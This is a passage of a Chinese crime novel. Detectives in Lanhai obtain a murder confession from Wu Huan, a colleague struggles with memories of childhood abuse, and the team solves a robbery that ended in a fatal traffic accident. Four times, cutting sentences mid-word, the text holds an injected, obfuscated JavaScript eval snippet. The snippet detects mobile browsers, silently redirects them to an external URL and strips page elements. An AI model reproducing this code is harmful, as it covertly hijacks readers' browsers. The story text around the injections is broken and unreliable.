“真的啊,那还真是要恭喜陆警官,能顺利抓到坏人了。” 陆闻扬起嘴角笑出声来,可这笑意却至始至终未达眼底:“吴老板倒也不必这么早恭喜,因为我们只是找到了犯罪嫌疑人,而想要带他回去,还需要吴老板的配合。” 言罢,陆闻敛起笑容,站起身从外套口袋里拿出一张证明:“吴桓,我们合理怀疑你涉嫌杀害周鹏、梁赫二人,现依法请你和我们回去接受调查。请配合。” 话音刚落,两名警员已经走到了吴桓面前,在戴上手铐的过程中,吴桓倒也没有什么反抗,只起身跟着两人去了警车所在的方向。 在蓝海市城东分局刑侦大队的审讯室里,坐了将近两个小时,吴桓却始终没多说一句话。眼看着外面的天渐渐黑下来,陆闻才端着茶杯,不紧不慢地走进审讯室。 “陆队,”早已经等在审讯室的齐况朝来人招呼了一声。 “嗯。”陆闻将茶杯放在桌上,却没坐下,“吴桓,怎么样,还没考虑清楚吗?” “有什么好考虑的,我本来就不是什么杀人凶手。” 对面的人说这句话时面不改色,眼神也只空洞地紧盯着前方,相比于陆闻和齐况第一次见到的吴桓,或许此刻这个才是真正的他。 陆闻叹了一声,随后转身坐在审讯桌前的椅子上:“吴桓,如果没有足够的证据,我们是不会胡乱抓人的。我劝你,现在还是主动交代吧。” 面对着一左一右两双眼睛的审视,吴桓始终没多说一句话。沉默良久,陆闻没再坚持下去,而是点头示意齐况开始。 “吴桓,9月16日的晚上9点半之后,你在哪里?” 吴桓眉头紧皱,抬眼看向对面的两人:“警察同志,这都过了这么多天了,我哪儿还记得那天干了什么啊。” “不,你记得,”齐况面无表情地紧盯着吴桓的眼睛,而后一字一句地说道,“因为在你之前的证词里,那天晚上你遇见了连环案的凶手,就在你的店里。” “我……”吴桓有一瞬间慌了神,却又很快平静下来,“警察同志,我确实忘了那天是几号,只记得是星期几了,这也有问题吗?” “好,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985489|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说自己是在9月16日晚,也就是星期三的晚上11点看见了凶手,对吗?”见吴桓应声,齐况接着问了一句,“那么请问,你还记得他的样子,或者有什么明显特征吗?” “他戴着口罩和帽子,就是那种黑色的鸭舌帽,还穿了个连帽衫把自己挡的严严实实的,我哪能看清他长什么样子。” 闻言,齐况朝陆闻看了过去。之前监控录像拍到的嫌疑人的衣着,和吴桓此刻描述的,确实可以判定为同一个人。 也就是说,吴桓真的见过作案人,或者,他就是那个真正的作案人。 “吴桓,你确定自己以上的供词都是无误的,对吗?”良久,陆闻忽地问了对面人这么一句。 “当然,你们还要我重复多少遍?” “这一遍就够了。”陆闻说了这么一句,点头示意旁边的齐况继续。 “吴桓,你应该还不知道吧,在第三小学后门附近的监控里,有拍到犯罪嫌疑人的身影,和你描述的穿着一致,不过……” 齐况拿起那张监控录像的画面截图:“犯罪嫌疑人出现在画面里的时间,是9月16日的晚上10点58分43秒。” “从三小后门到童乐文具店步行需要10分钟左右,嫌疑人根本不可能在两分钟之内到你的店里。所以,你在说谎。” “我在说谎?”吴桓没忍住笑了起来,“警察同志,凭借这个又能说明什么呢,只能说明我记错了时间,或者认错了人,这不能作为你们抓捕我的理由吧?” 齐况点点头:“确实。不过你说巧不巧,我们在你文具店后门附近路口的监控录像里发现,你在16日晚9点42分离开,当晚的11点38分才回到文具店。” “所以,那天晚上的11点你根本不可能在店里看到嫌疑人。还有,在这将近两个小时的时间里,你在干什么?” 面对对面陆闻锐利的眼神,吴桓有些说不出话。可那边齐况的问话还在继续:“吴桓,你的腿伤,挺严重的吧?” 察觉到齐况的目光正停留在自己的左腿上,吴桓下意识地把腿往里面收了收:“之前车祸留下的残疾,医院的就诊病历都是在的,你们不会连这个都要怀疑吧?” 闻言,陆闻拍了拍齐况的胳膊,而后站起身走向对面的人:“吴桓,你确实聪明,借着那场事故,找医院的熟人把自己的病情改的重些,就觉得以后装残疾能不被发现,对吧?” “你们有证据吗?” “吴明启医生,”陆闻扯起嘴角,往后退了几步,仔细观察着吴桓接下来的表情,“已经全部告诉我们了。” 吴桓的表情有些僵硬。他微微转动眼珠,死盯着面前的两人:“我找他造假病历,就是为了多拿点医药费,这也有错吗?” 吴桓说到最后时几近癫狂,陆闻摇摇头,啧声道:“没忘记的话,你是因为见义勇为才伤的腿吧,这样的人会想着坑医药费?吴桓,你还真是,不知悔改。” “这是我们在你扔的垃圾里面找到的手套,”齐况从桌上拿起一张照片,“在这双手套上,有受害者的血迹。” 在看到照片里的那副手套后,吴桓没再继续反驳两人给出的证据。他缓缓低下头,良久,忽地有些疯狂地笑了起来—— “是的,是我杀了他,不对,是勒死了他们两个。” 34. 补旧 陆闻和齐况默契地没有说话,屋内一阵沉默。 不知过了多久,吴桓才抬起头,嗤笑一声道:“我还记得,小的时候家里没钱,可我就喜欢跟在他们后面买这儿买那儿的,然后回了家我爸就打我,还把我最喜欢的玩具车踩在脚底下,他宁愿踩碎了也不让我玩儿。” “后来,他们骂我是穷小孩,还朝我扔泥巴块儿。不过是一辆玩具车,就一辆玩具车而已!你们说一个连玩具都不舍得给自己孩子买的人,他配做父亲吗?” 吴桓双拳紧握,愤怒地捶着桌子。 儿时的遭遇让他压抑了三十多年,哪怕是现在的他已经为人父,而自己也与父亲阴阳两隔,可这个疙瘩仍是他怎么也解不开的死结。 “你们能懂吗?被自己的父亲当着朋友的面儿拳打脚踢,事后他们嘲笑我,孤立我,我当时是年纪不大,可我也要脸!” “吴桓,你冷静点!” 陆闻厉声喝止住仍在发疯的吴桓。 他微微侧头朝齐况那边看过去,却见后者的脸色阴沉,拳头也因用力紧握而颤抖着。 他还从来没见过这样的齐况:“你怎么了?齐况,说话啊?” “对不起,”良久,齐况才抬起头来看向陆闻,四目相对时,陆闻看到齐况的双眼已经憋的通红,“我想出去透透气。” 陆闻有些木讷地点点头,等到反应过来时,齐况已经快步冲了出去。转眼间,审讯室里只剩下他和吴桓两人。 在监控室里观察着这边情况的苏乐见状,立刻起身走了过来:“齐哥,”刚到审讯室门口,她就注意到了蜷缩在角落里的齐况,“你没事吧?” 齐况摇摇头:“我没事。” “好……”苏乐仍有些不放心地看着蹲在地上的人,“齐哥,要不你先回去休息休息,接下来就由我来吧?” “谢谢。” 苏乐摇摇头,却没再说话。旋即,她推开审讯室的门,走进去代替齐况进行接下来的工作。 转眼间,走廊里只剩下齐况一人。 他双手抱膝蹲在地上,只要闭上眼,脑海里就会浮现出一个男人的脸—— “你个养不熟的白眼狼,下次还敢不敢偷吃了,啊?” “不敢了……我下次再也不敢了,求求您不要打我。” “就是个没用的野孩子,看我不打死你,我打死你!” “丑八怪,别让我再看见你,滚回去!” “齐况?齐况!” 齐况突然感觉外面有一个声音,由远而近逐渐清晰,一声一声带着迫切,于是他想努力听清那人在说什么—— “……你怎么了?快醒醒……” 好像是,陆队的声音。 齐况的意识逐渐清醒过来,朦胧间,他听见了有人在喊自己的名字,而且还不止一个人。 于是他努力着想要睁开眼睛。 在视线清晰之后,齐况终于看清了那声音的主人:“陆队,”还有陆闻身后的几人,“大家怎么,都在?” “你坐在这里不知道是怎么了,叫了好久都没反应,大家很担心你,就都过来了。” 看见齐况醒来,陆闻也算是松了口气:“好了,大家都先回去干自己的事儿吧。苏乐,你回去把吴桓的供词整理一下,到时候直接放我桌子上就行。” 目送着众人离开之后,陆闻这才将目光移到齐况身上:“你刚才怎么了?要是身体不舒服,我和武局说一声,你回去休息好了再过来。” “不用了陆队,我刚才,就是太累了,晚上回去好好休息休息就行。” 看着齐况一副心不在焉的表情,陆闻张了张口,可到底没再说什么:“也行。” 距离连环案结束已经过了一段时间,刑侦大队的警员也难得没有之前那么忙碌,陆闻就招呼齐况和苏乐一起出去吃饭,又带上了之前的那两个小警员。 陆闻站在炒菜馆门前,双手插兜望着街上人来人往,没过一会儿,那两个刚来局里不久的小年轻,便首先出现在他面前—— “陆队。”两人一本正经地招呼了一声。 或许是看两人都有些拘谨,陆闻扯起嘴角笑了笑:“怎么了这是,又不是去执行任务,紧张什么?” “没有没有,我们是……” 薛文霖还没来得及说完,对面苏乐和齐况也已经到了地方:“陆队。” “你看看,”陆闻食指微曲点着腕上的手表,“你们看看这俩人,都会卡着点儿来,多学学人家。” 苏乐挑了挑眉,撇嘴道:“陆队,我和齐哥可是刚下班就赶过来了。” “好了好了,都先进去吧。” 陆闻特地选了个靠里面的位置,这个时间的小菜馆座无虚席,基本都是聚在一起喝酒聊天的大老爷儿们,热闹的很。 “点菜点菜,”陆闻招呼着大家坐下,“今天啊我请客,想吃什么随便点。涂暄薛文霖,你们俩也别太拘束,之前队里来新人,我都会请他们吃饭的。” “好的陆队,谢谢陆队。” “嗨呀,”陆闻摆摆手,“以后大家就是并肩作战的战友了,说谢谢太见外。” 担心两个小年轻会不适应,陆闻随便点了几样特色菜,算是同事间的普通聚餐。 饭点人多,等到他们这边的菜全部上齐之后,旁边那桌的客人都已经吃完了离开,只不过片刻,又进来了一家三口围桌坐下。 “妈妈,肚子咕噜咕噜……”正坐在齐况身后的小男孩儿大概只有四五岁,幼童软糯的声音总是让人心生怜爱之情。 可男孩儿的父亲却并不这么认为:“他妈老子累死累活挣来的钱,还不够你们娘俩儿花呢!” 女人没说话,只是从包里拿出一张湿巾,给男孩儿擦着手掌:“我们不拿碗碗,等会儿妈妈喂你吃饭饭好不好呀?” 大概是女人无视的态度让男人有些气急败坏,只见他猛地从椅子上弹起:“老子跟你说话……” 话还未完,小男孩儿却因受了惊吓,将手里的碗碰掉在地上摔了个裂口。男人见状啐了一声:“你个小兔崽子,老子今天非要……” 男人嘴里不干不净地嘀咕着,手掌已经朝男孩儿的方向扬了过去。 那边齐况本想弯下身去捡碗,谁知余光中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985490|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却瞥见男人落下来的手掌,于是在下意识地往后躲闪时,竟不小心磕到了旁边的桌角上。 男人的巴掌,最后被坐在齐况旁边的陆闻给一把拦了下来。 或许是没想到会突然冒出个人来,男人眉头紧皱,目光挑衅地盯着对面的人:“这有你什么事儿,想见义勇为是吧?” 陆闻不想与他多说废话:“收回你刚才说的话,然后和你老婆孩子道歉。” “不是,你还管得着我老婆孩子了,咋的,和你有关系啊?”男人骂骂咧咧地抬步正要上前,却被陆闻伸手挡住了动作。 周围人的目光都被吸引过来,或许是感觉自己大庭广众之下失了面子,男人一把推开拦住自己的女人:“我他妈打……” 陆闻没耐心再给男人说完的机会,首先将证件举在了两人之间:“警察!” 闻言,男人的身体猛地一怔,他惊了半晌,却连陆闻的证件都没敢看清。良久,他才坐回到位子上,嘴里还嘀咕着:“警察了不起……” 陆闻没搭理他,而是转身看向身边还捂着头的齐况:“没事儿吧?” 齐况摇摇头,却没说话。 或许是看出他的心不在焉,陆闻也没再追问下去:“没事就好,大家都先吃饭吧,忙一天了。” 闹剧结束。 从炒菜馆出来之后,苏乐的男朋友已经开车等在外面,苏乐匆匆和几人告别,就上了车先走。 薛文霖朝陆闻笑了笑:“陆队,那我们也先走了。” 陆闻回过神:“要不我送你们一程?” 一旁的涂暄连忙摆摆手:“不麻烦了陆队,我们就住这附近,走路回去就行。” “好,那路上小心。” “陆队齐哥,明天见。” “明天见。”两人一起应道。 目送着涂暄和薛文霖走远后,陆闻回过头看向齐况:“哎呀,又只剩我们俩了,走吧,送你回家。” 齐况也没拒绝:“好。” 从坐上车之后,齐况就一直盯着外面的景色,一副心不在焉的样子。 陆闻忽地想起刚才在菜馆时齐况的反应,就趁着在路口等红灯的空当,朝副驾驶位上的人看了过去:“齐况。” 后者未答,陆闻便继续喊道:“你怎么了,齐况?” “嗯?”齐况终于回神,偏过头应了一声,“怎么了?” 陆闻这才注意到他有些疲惫的目光,于是刚到嘴边的问题又给咽了回去。 他摇摇头,故作轻松道:“没怎么,我还以为你刚才磕着头磕傻了呢。” “没有,”齐况却像是没听出这是一句调侃,正色道,“只是在想一些事情。” 陆闻没立刻接话,只在红灯结束前,深深看了旁边的人一眼,而后踩下油门缓缓启动车子。 在行驶了一段路程之后,他才继续开口道:“齐况,你要是这段时间太累了,可以请假回家休息休息。不在状态的话,接下来的工作也会进行的很吃力。” “嗯。”难得的,齐况并没有像上次那样坚持,“我后面可能会请假几天,之后就麻烦陆队了。” 35. 弃子 “别跑!” 江宁路附近的红绿灯路口前,随着人群中的一声尖叫,两抹人影忽地冲出路口—— “有人抢劫啊!” “陆队,”陆闻刚下车,负责现场勘查的警员就立刻迎了上来,“受害者没能等到救护车过来,肇事车主也跑了。” “交警那边的同志怎么说?” 陆闻没停下,一路往事故现场的方向走过去,距离意外发生已经过去半个多小时,可周边还是围满了人。 “已经调了事故路口的监控录像,等会儿应该就有结果了。” “好。”陆闻点头,抬手拉起警戒线进去,“听说是因为追小偷?” “啊,”跟在陆闻后面的警员应了一声,“不过那小偷还挺猖狂的,那么多人在呢,直接抢了人的包就跑。” “现场的路人都还在不在,有没有目击证人,等会挨个儿沟通一下,问问当时的情况和嫌疑人的特征。” “好。” 目送着人走远后,陆闻转身朝苏乐那边走过去:“怎么样了?” “陆队,”苏乐闻声抬头,“在事故车辆里发现了车主的证件和联系方式,不过手机已经关机了。” “等会儿看看能不能联系到他家属。” “好。” 城东分局刑侦大队,陆闻坐在会议桌前,看着白板上的线索图:“人都到齐了吧,我来说一下在现场搜寻到的线索。” 说着,他起身走过去,食指弯曲敲了敲白板:“万伊艾,女,本案的受害者,今年27岁,蓝海本地人,生前是一家美甲店的老板。案发前万伊艾刚从江宁路的银行取钱出来,最后一通电话是打给她的丈夫钟尧。” “金澄明,男,案件事故车辆的车主,今年42岁,蓝海本地人。”陆闻说着,将目光移到了另一张照片上。 “12月19日的上午8点52分,金澄明行驶车辆至江宁路中段路口,由于在车辆转弯时未减速,且存在视觉盲区,而在发生事故之后又没能及时刹车,对受害者造成二次伤害,当场死亡。” “至于犯罪嫌疑人,应该是预谋犯罪,所以特意戴了口罩和帽子进行遮挡,也提前规划好了逃跑路线,可是附近监控能拍到的,只有他在穿过马路后,躲进了一条小巷。” 话音刚落,陆闻将手里的笔扔在桌面上,而后在会议桌旁的椅子前坐下:“当时在现场的目击证人怎么说?” “现场有三名目击证人,都说是在等红绿灯时,突然从人群里窜出一个黑影儿直奔马路对面,然后受害者也跟着追出去了,还喊着有人抢劫。” “不过现场发生事故后,大家都在事故现场围了一圈儿,也就没人注意到嫌疑人跑去哪儿了。” “有人能记得嫌疑人大概的体型特征吗?” “其中有两名目击证人只记得嫌疑人的部分特征,”薛文霖顿了一下,似在回想,“男性,中等身高,身形瘦弱。头戴黑色鸭舌帽,身穿深蓝色棉服和黑色长裤,不过衣裤上破了很多洞。” 陆闻若有所思地点点头,自顾自的道:“和监控画面拍到的嫌疑人衣着外形基本一致。对了,”他猛地抬起头,看向对面的一群人,“金澄明找到了吗?” “金澄明的电话根本打不通,不过我们已经和他的家人取得了联系。” “嗯,要同时安抚好两边家属的情绪,千万不要……” “陆队,”苏乐突然推开会议室的门,打断了陆闻未说完的话,“你快去看看吧,金澄明的家属带着一帮人过来闹了。” 一行人匆匆赶到城东分局的大门口时,只见金澄明的妻子站在最前面,搀扶着自己的婆婆,正严词厉色地和对面的人理论—— “孩子他爸开车开得好好儿的,要不是她突然冲出来,会发生这种事吗?” “我儿子还在上大学,他爸身上现在背了一条命,你们让他将来怎么办啊!” 刚来分局的年轻女警员显然有些招架不住:“周女士,请您冷静一下。” “你让我怎么冷静……” “江雪,你先回去吧。”陆闻及时出现在两人之间,打断了又要发疯的周媛,“周女士对吧,您先生的案子暂时由我负责,有什么事我们可以进去说。” 周媛仍是一副怨念的表情,可语气却明显收敛起来:“我和你们没什么可说的,我丈夫现在有家不能回,就是因为你们!” “周女士,金澄明驾驶的车辆现在发生了事故,我们必须找到他。” “我不管!”周媛的情绪突然激动起来,“我告诉你们,除非我死,否则我绝对不会让你们找到他!” 因为周媛在分局门口闹上这么一出,队里的气氛一下子降到了最低点:“陆队,你说我们要是找到金澄明了,周媛她不会真的……” 陆闻用膝盖撑着手肘,双手捂脸不知在想些什么。良久,众人才听到他说一句:“金澄明必须找到。” 他忽地抬起头,目光凛冽地望向某一处,众人终于听清了他所有的话:“而且,周媛也不能有事。” 话音还未落,陆闻旋即转向苏乐那边:“你找几个合适的人跟你一起,去周媛家做做思想工作,就算她真的不会告诉我们金澄明目前的行动轨迹,也要确保她和她家人之后的安全。可以吗?” “可以。” 距离抢劫案已经过去三天,嫌疑人像是人间蒸发了似的,完全找不到踪影,而周媛那边,苏乐也只是勉强稳住了她的情绪。 “陆队,”涂暄匆匆忙忙走进会议室里,“之前的目击证人又过来给我们提供了一条线索。” “什么?” “那位目击证人说,他当时因为低头玩手机没注意看路,不小心撞到过嫌疑人,还和嫌疑人进行了对话。他说听口音,嫌疑人并不像本地人,而且嫌疑人的手,好像还会不时地抽搐。” “哪只手?” “问了,说是忘了。” 陆闻坐在电脑前,抬手按了按眉心:“苏乐,把监控里拍到的嫌疑人最清楚的一张截下来,然后看看能不能从上面请画像师过来,还有之前的几位目击证人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985491|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也让他们一起过来协助画像师。” “好的。” “对了,”陆闻转过头,看向身旁跟他一起看监控的其他人,“齐况有说什么时候回来吗?” 其中有人回答了一句:“没,齐哥请了挺长一段时间的假,估计还得几天呢。” 陆闻点点头,只道了声:“都接着干活儿吧。” 在之后的一段时间里,陆闻和技术部门的同事一起对现场进行复勘,又反复观看了江宁路的道路监控,只可惜案发现场属公共场所,可能发现的线索少之又少。 好在在画像师的帮助下,他们成功将犯罪嫌疑人,锁定在一名叫魏军的人身上—— “魏军,男,今年36岁,岑江人,无业。十二年前和妻子从岑江来到蓝海,那时候他还是工地上的建筑工人,但是在八年前,魏军因为在工地工作时,不小心发生意外导致右手重伤,之后一家人只靠着赔偿金生活。” “不过听魏军家附近的邻居说,五年前魏军的儿子魏思傲因为生病住院,花去了家里不少的钱。而在魏思傲住院的第二年,他的母亲就离开了那个家,之后再也没有回去过。” 言罢,苏乐没再继续说下去,似是出神了许久。陆闻见状轻咳一声,将屋内众人的思绪拉回:“好了,大伙儿都先回去干活儿吧。” 待众人离开后,陆闻放下手中的笔,看向还愣在原处的人:“苏乐。” 见人终于回神看他,他才继续道:“要不,你暂时不用管这个案子了,我那边还有没处理完的……” “陆队,你的意思我都明白。”苏乐没等陆闻说完,后者也及时住了口。 之后,他就听到对面的人这样说道:“可我还是希望陆队能给我这个机会,之前的问题在我,所以这次我希望自己能够迈过那道坎儿,早点克服困难不是更好吗?” 陆闻没立刻说话,良久,他才站起身拍了拍苏乐的肩膀:“比起以前,你真的成长了不少。” 陆闻还记得苏乐刚来队里,那时她就是个刚毕业的小姑娘,在案发现场看见尸体能跟着林一然在后面吐上一天。 大多数的年轻警员都是这样,陆闻自己也是。 当时,或许是年轻气盛,苏乐跟着陆闻处理某一个案子的时候,由于受害者的人生遭遇和苏乐极其相似,竟让她在审讯室里大声质问着犯罪嫌疑人—— “忍心丢下自己孩子的人,配做一位母亲吗?” 陆闻后来才知道,原来在苏乐5岁时,母亲就因婚内出轨狠心抛下她离去,这么多年的时间里,她一直跟着父亲生活。 她也曾问过自己的父亲,她的妈妈到哪里去了?可换来的却是父亲的沉默。 直到苏乐高考之后,她才从奶奶的口中得知,她是个被母亲遗弃的孩子。 她也曾猜到过真相会是这样,可在看到父亲那躲闪的目光时,她还是心疼的喘不过气。 那件事之后,苏乐写了检讨,她知道自己不该对嫌疑人问出那种问题,可那句话,确实是她想问那个人很久的。 36. 弃子 齐况重新回到分局那天,陆闻正好带队去抓捕金澄明。 据说他是已经逃到了景新南区,还是那边的警察在办案时查看监控,才记起出现在监控里的,与之前新闻上关于这场事故报道的是同一人。 陆闻事先让苏乐守在周媛家,看能不能稳住这一家老小的情绪,谁知就在陆闻等人开车快到城东分局时,还是接到了苏乐的电话—— 周媛一家已经在那里等着了。 陆闻挂断电话,无奈地叹了一声,正在开车的薛文霖有些奇怪:“怎么了陆队?” “周媛他们到了。” “啊,那怎么办?” 陆闻摇摇头:“回去再说吧。” 车子缓缓驶进林台路,快到分局时,陆闻远远就看到门口站着的一群人,不用想也知道是周媛他们。 随着距离越来越近,陆闻逐渐看清了那群人的面容,周媛和她儿子,还有互相搀扶着的老两口。 “周女士,外面冷,我们可以先进去……”苏乐后面的话还没来得及说出,因为她看见警车已经停在了分局门口。 周媛也顺着苏乐的目光朝身后看过去,只见陆闻首先跳下车,小跑着来到他们的面前:“周女士,还请您能配合我们。” 周媛没答话,只是满目愤怨地看着眼前人:“金澄明呢?” 话音刚落,只见另一车的警员,正好控制着金澄明走下车。 周媛没再搭理陆闻,而是朝金澄明的方向扑过去,却被随行的警察给拦住了路—— “金澄明!”周媛使劲往前挣脱着,“你个没良心的!从前就因为你那个破工作到处跑的不着家,现在好不容易稳定了,又不让我省心是不是!” “周女士,请您冷静。” “金澄明!”周媛没顾身旁人的劝阻,眼眶逐渐变得湿润起来,“出了这种事,你让我们这一大家子以后还怎么做人,啊?” 说完,周媛抽泣着跪坐在地上,周围几名警察也不知道该怎么办了。 倒是金澄明,抬眼看向周媛身后的人时,声音也平静地出奇:“小韶,扶你妈妈起来。” 金志韶没吭声儿,只是沉默着走上前,将周媛一把给拉了起来。众人都默契的没说话,不过片刻,只听金澄明缓缓开口道—— “在外面躲的这么多天里,我也想通了,既然我犯了错,就该为自己的行为负责。媛媛,是我对不起你,你要是,”金澄明突然哽咽了一下,“你要是,嫌我犯过事儿,你就带着小韶……” “金澄明!”周媛大喊一声,将金澄明没来得及说完的话给吼了回去,“我和爸妈还有孩子,会在家等着你回来。” 审讯室里,陆闻和苏乐并排而坐,对面是低着头不语的金澄明:“个人信息报一下。”苏乐首先开口道。 “金澄明,男,今年42岁,蓝海本地人。” “金澄明,12月19日的上午8点52分,由你本人驾驶的车辆,在江宁路中段路口发生意外,能否请你详细地说明一下当时的情况?” “当时……”金澄明不自觉地握紧了手指,“警察同志,当时我确实没看到有人在,等我反应过来的时候,她已经跑到我车前面了,我来不及刹车。” “根据道路监控给出的画面,你在转弯时不但没有减速,还在发生事故以后有明显加速的行为,能解释一下是什么原因吗?” “我,”金澄明明显迟疑了一下,“没反应过来,我当时太害怕了,就误踩了油门。” “案发当天开车开了多长时间?”一直坐在旁边不言的陆闻突然开口道。 闻言,金澄明的身体微微一怔,旋即立刻摇头:“没太注意,我从省外回来的,大概几个小时吧。” “金澄明,我们查看了你车上的行车记录仪,在发生事故之前,你连续驾驶车辆近六个小时,且中间并没有休息。” 陆闻顿了顿,抬头看向金澄明的目光凛冽:“知道疲劳驾驶会造成什么影响吗?”不等金澄明回答,他又接着一句,“你这是对自己的不负责,也是对家人的不负责,你知道吗?” 大概是因为被陆闻说中了,金澄明没敢答话,只是缓缓低下头,似是思索什么。 良久,他忽地又抬起头,看向对面的两人,确切的说是看向陆闻:“警察同志,我当时只想着也没多久就能到家了,我真的不知道那女的会突然冲出来啊!” “金澄明,”陆闻摇摇头,“就是因为像你这样,抱有侥幸心理的人太多,才会对自己,对别人造成没法挽回的悲剧。” 对金澄明的审讯结束不久,陆闻带着小队就在一处桥洞底下,发现了魏军的身影。 冬季的清晨带着寒意,陆闻一行人找到魏军时,他正躺在桥洞下的一块废木板上睡觉,身上还盖着一件破了口子的牛仔外套。 “魏军。” 随行的涂暄喊了一声,声音不大不小,却让魏军猛地从睡梦中惊醒过来。 可在看到对面站的是警察时,他却出奇的冷静:“我儿子还没吃早饭,我能先买了饭送过去吗?” 原来,魏军的儿子魏思傲,就住在桥对面的医院里接受治疗。 之前,魏军为了方便照顾魏思傲,一直都是在医院里过夜。 可在看到新闻,知道自己害死了人之后,魏军担心有一天警察找到他时,会被魏思傲看见,所以他就找了这个地方休息,离医院近,还能多拖延几天。 不过魏军也想到了,这里再隐蔽,他也总有被找到的一天。 “思傲。” 病房外,陆闻带着苏乐和涂暄等在门口,病房里面,魏军坐在病床前,看着正在喝粥的魏思傲,嘴角扯出了一个并不好看的弧度:“思傲,爸爸想和你商量一件事。” 魏思傲只点点头,却没说话。 “思傲,”魏军斟酌着开口,“爸爸以前的工友在外地找了个活儿,工资挺高的。我想过去,不过……” “我也要去。”魏思傲忽地抬起头,一脸认真地盯着魏军。 他揉了揉魏思傲的头发,笑道:“医院这边我都交了钱的,而且带你过去的话,爸爸就不能安心干活儿了啊。” “那你要去多久?” 或许是想到了什么,魏军的眼眶突然有些湿润:“可能……要去很长时间。” “等你病好了,爸爸还要送你去上学,带你去好多你没去过的地方,吃你没吃过的东西,所以爸爸更要挣很多很多的钱啊。” “所以,爸爸也要丢下我了吗?” 魏思傲话音未落,听了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985492|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话的魏军竟再也忍不住,站起身一把将魏思傲搂在怀里:“思傲,是我对不起你,我对不起你。可是,我真的没有办法……” 听着魏军的哭声,魏思傲的声音也有些哽咽:“爸爸,是我说错了,我就在这里等着爸爸回来。你要快点回来,好不好?” “好。” 从医院离开后,魏军就一直低头看着手里那朵,魏思傲最后送给他的纸花。 魏思傲说这是魏军不在的时候,医院的护士姐姐教他折的,纸花不会枯萎,这样爸爸在想他的时候,就可以时常拿纸花出来看看了。 “魏军。”审讯室里,陆闻和苏乐并排而坐,紧紧盯着坐在对面的人。 苏乐旋即拿出道路监控的录像截图,和一张衣物的对比照片:“这套服装是我们在你家发现的,和案发现场里作案人的穿着一致,你有什么需要解释的吗?” “没有,”魏军摇摇头,“我那天穿的就是这套衣服,还有一个黑色鸭舌帽,不过被我给丢到河里去了。” “和受害者之前认识吗?” 魏军还是摇头:“不认识,我当时着急用钱,随便看到有人从银行取钱出来,就去抢了。” “为什么想到去抢劫,你还有孩子不是吗?” “没钱看病,我儿子……”魏军有些哽咽。 他没再说话,而是等调整好情绪之后,才继续说道:“他还需要住院治疗,家里的钱都花光了,我想找工作挣钱,可别人看我手不能用就不要我。” “魏军,这并不能作为你去犯罪的理由。” 陆闻有些听不下去,打断他道:“你有难处,别人也有难处,如果人人都像你一样为了这些事去触犯法律,那我们这个社会会怎么样?早就臭了烂了,你懂吗?” “我,我知道我不应该去抢,从电视上看到新闻后我就一直很愧疚。可没钱我儿子就住不了院,我实在没办法才……是我对不起那姑娘。” “魏军,社会上生活不如意的人多的是,迫不得已不是你犯罪的理由。” 看着魏军还在为自己的行为开脱,陆闻摇摇头,语重心长地反问道:“你认为自己是名好父亲吗?还是你觉得,罪犯的孩子和你父亲是因你犯罪,哪种言论更难听?” “你知不知道,你不但让魏思傲彻底没了依靠,你还杀死了一个无辜的家庭。因为你而去世的万伊艾,和她丈夫相处了9年,他们今年才结婚不久。” 魏军这次没再说话。 是的,或许从一开始,他就在以各种理由去洗白自己的罪行,明明他想成为一名好父亲,却也在无形之中,对魏思傲造成了无法挽回的伤害。 “是。”魏军点点头,“是我让思傲成为了一个彻底没有家的孩子。” “那他的母亲呢?”旁边的苏乐突然问了这么一句。 闻言,陆闻朝她看过去:“苏乐?” 显然,魏军也没想到苏乐会问到有关魏思傲妈妈的事,只是这么长的时间已经过去,妻子的不辞而别他早已经看开。 “警察同志,我爸妈年纪大了过不来,等思傲没钱再住院后,还劳烦你们能给他送回岑江老家。至于他妈妈,都过去那么长时间了,思傲和她住会不习惯的。” “你放心吧,我们会的。” 37. 弃子 “苏乐?” 